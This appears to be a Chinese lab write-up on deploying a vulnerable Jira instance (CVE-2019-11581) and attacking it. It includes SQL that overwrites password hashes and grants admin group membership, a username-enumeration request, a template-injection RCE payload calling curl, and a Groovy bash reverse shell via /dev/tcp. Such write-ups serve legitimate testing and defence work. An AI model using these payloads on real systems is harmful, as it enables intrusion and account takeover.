记一次Jira的搭建和相关利用
字数 1847 2025-08-27 12:33:43

Jira系统搭建与漏洞利用全面指南

一、环境搭建

1. Docker环境准备

在Kali Linux上安装Docker和Docker-compose:

curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
sudo apt install docker-compose

2. 使用Vulhub部署Jira漏洞环境

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/jira/CVE-2019-11581 && docker-compose up -d

3. MySQL配置

启动MySQL并进行安全配置:

service mysql start && mysql_secure_installation

修改MySQL配置文件允许远程访问:

vi /etc/mysql/mariadb.conf.d/50-server.cnf

授权root用户远程访问:

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;

创建Jira数据库:

create database jira default character set utf8 collate utf8_general_ci;

4. 解决MySQL驱动问题

下载MySQL驱动:

https://downloads.mysql.com/archives/get/p/3/file/mysql-connector-java-5.1.49.tar.gz

将驱动复制到容器内:

docker cp /path/to/mysql-connector-java-5.1.49-bin.jar 容器id:/opt/atlassian/jira/lib

5. 完成Jira配置

  1. 在Jira官网注册账号
  2. 申请30天试用license
  3. 完成所有配置进入系统

二、Jira数据库结构与关键文件

1. 关键配置文件

数据库配置文件路径:

cat /var/atlassian/application-data/jira/dbconfig.xml

数据备份目录:

ls /var/atlassian/application-data/jira/export

附件存储目录:

ls /var/atlassian/application-data/jira/data/attachments

2. 重要数据库表结构

表名 关键字段 描述
project ID, pname, URL, LEAD, DESCRIPTION, pkey, PROJECTTYPE 项目主表
project_key ID, PROJECT_ID, PROJECT_KEY 项目key表
projectrole ID, NAME, DESCRIPTION 项目角色
projectroleactor ID, PID, PROJECTROLEID, ROLETYPE, ROLETYPEPARAMETER 项目角色关联关系
jiraissue ID, pkey, issuenum, PROJECT, REPORTER, ASSIGNEE, CREATOR, issuetype, SUMMARY, DESCRIPTION JIRA的issue
priority ID, SEQUENCE, pname, DESCRIPTION, ICONURL, STATUS_COLOR issue优先级
resolution ID, SEQUENCE, pname, DESCRIPTION, ICONURL issue解决结果
component ID, PROJECT, cname, description, URL, LEAD, ASSIGNEETYPE, ARCHIVED 模块表
jiraworkflows ID, workflowname, creatorname, DESCRIPTOR, ISLOCKED JIRA的工作流
cwd_user ID, user_name, lower_user_name, active, display_name, email_address, CREDENTIAL 用户表
cwd_membership ID, parent_id, child_id, membership_type, parent_name, lower_parent_name, child_name 用户所属成员组表

3. 数据库操作技巧

修改用户密码

update cwd_user set credential = '{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where user_name="name";

提升用户权限
通过修改cwd_membership表的parent_namelower_parent_name字段值为jira-administrators

查询项目所有用户

SELECT p.id AS project_id, p.pname AS project_name, p.lead AS project_lead, prc.roletypeparameter AS project_roles
FROM project p LEFT OUTER JOIN projectroleactor prc ON prc.pid = p.id
WHERE p.pname = 'Test01';

三、漏洞利用

1. 未授权用户名枚举

请求

GET /rest/api/2/user/picker?query=zhangsan HTTP/1.1
Host: xx.xx.xx.xx:8080
Connection: close

存在用户响应

{
  "users": [
    {
      "name": "zhangsan",
      "key": "zhangsan",
      "html": "<b>zhangsan</b>",
      "displayName": "zhangsan",
      "avatarUrl": "https://xx.xx.xx.xx:8080/secure/useravatar?size=small&avatarId=10122"
    }
  ]
}

不存在用户响应

{
  "users": []
}

2. 模板注入RCE漏洞

前提条件检查

http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa

配置步骤

  1. 配置SMTP:
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa
  1. 开启联系管理员表单:
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa

POC

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xx.xx.xx.xx').waitFor()

反弹shell技巧
由于Runtime.getRuntime().exec()不能执行管道命令,需要对命令进行base64编码。

3. 利用MyGroovy插件getshell

插件管理接口

http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons

查看Jira版本

http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa

下载对应版本MyGroovy插件

https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history

安装并执行反弹脚本

def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

四、安全建议

  1. 及时更新Jira到最新版本
  2. 限制访问/rest/api/2/user/picker接口
  3. 禁用不必要的插件功能
  4. 定期检查数据库权限配置
  5. 监控异常的用户权限变更
  6. 关闭不必要的SMTP功能
  7. 实施严格的插件安装审核机制

通过以上全面的指南,您可以深入了解Jira系统的搭建过程、关键数据结构以及常见漏洞利用方法,为安全测试和防御提供参考依据。

Jira系统搭建与漏洞利用全面指南 一、环境搭建 1. Docker环境准备 在Kali Linux上安装Docker和Docker-compose: 2. 使用Vulhub部署Jira漏洞环境 3. MySQL配置 启动MySQL并进行安全配置: 修改MySQL配置文件允许远程访问: 授权root用户远程访问: 创建Jira数据库: 4. 解决MySQL驱动问题 下载MySQL驱动: 将驱动复制到容器内: 5. 完成Jira配置 在Jira官网注册账号 申请30天试用license 完成所有配置进入系统 二、Jira数据库结构与关键文件 1. 关键配置文件 数据库配置文件路径: 数据备份目录: 附件存储目录: 2. 重要数据库表结构 | 表名 | 关键字段 | 描述 | |------|---------|------| | project | ID, pname, URL, LEAD, DESCRIPTION, pkey, PROJECTTYPE | 项目主表 | | project_ key | ID, PROJECT_ ID, PROJECT_ KEY | 项目key表 | | projectrole | ID, NAME, DESCRIPTION | 项目角色 | | projectroleactor | ID, PID, PROJECTROLEID, ROLETYPE, ROLETYPEPARAMETER | 项目角色关联关系 | | jiraissue | ID, pkey, issuenum, PROJECT, REPORTER, ASSIGNEE, CREATOR, issuetype, SUMMARY, DESCRIPTION | JIRA的issue | | priority | ID, SEQUENCE, pname, DESCRIPTION, ICONURL, STATUS_ COLOR | issue优先级 | | resolution | ID, SEQUENCE, pname, DESCRIPTION, ICONURL | issue解决结果 | | component | ID, PROJECT, cname, description, URL, LEAD, ASSIGNEETYPE, ARCHIVED | 模块表 | | jiraworkflows | ID, workflowname, creatorname, DESCRIPTOR, ISLOCKED | JIRA的工作流 | | cwd_ user | ID, user_ name, lower_ user_ name, active, display_ name, email_ address, CREDENTIAL | 用户表 | | cwd_ membership | ID, parent_ id, child_ id, membership_ type, parent_ name, lower_ parent_ name, child_ name | 用户所属成员组表 | 3. 数据库操作技巧 修改用户密码 : 提升用户权限 : 通过修改 cwd_membership 表的 parent_name 及 lower_parent_name 字段值为 jira-administrators 查询项目所有用户 : 三、漏洞利用 1. 未授权用户名枚举 请求 : 存在用户响应 : 不存在用户响应 : 2. 模板注入RCE漏洞 前提条件检查 : 配置步骤 : 配置SMTP: 开启联系管理员表单: POC : 反弹shell技巧 : 由于 Runtime.getRuntime().exec() 不能执行管道命令,需要对命令进行base64编码。 3. 利用MyGroovy插件getshell 插件管理接口 : 查看Jira版本 : 下载对应版本MyGroovy插件 : 安装并执行反弹脚本 : 四、安全建议 及时更新Jira到最新版本 限制访问 /rest/api/2/user/picker 接口 禁用不必要的插件功能 定期检查数据库权限配置 监控异常的用户权限变更 关闭不必要的SMTP功能 实施严格的插件安装审核机制 通过以上全面的指南,您可以深入了解Jira系统的搭建过程、关键数据结构以及常见漏洞利用方法,为安全测试和防御提供参考依据。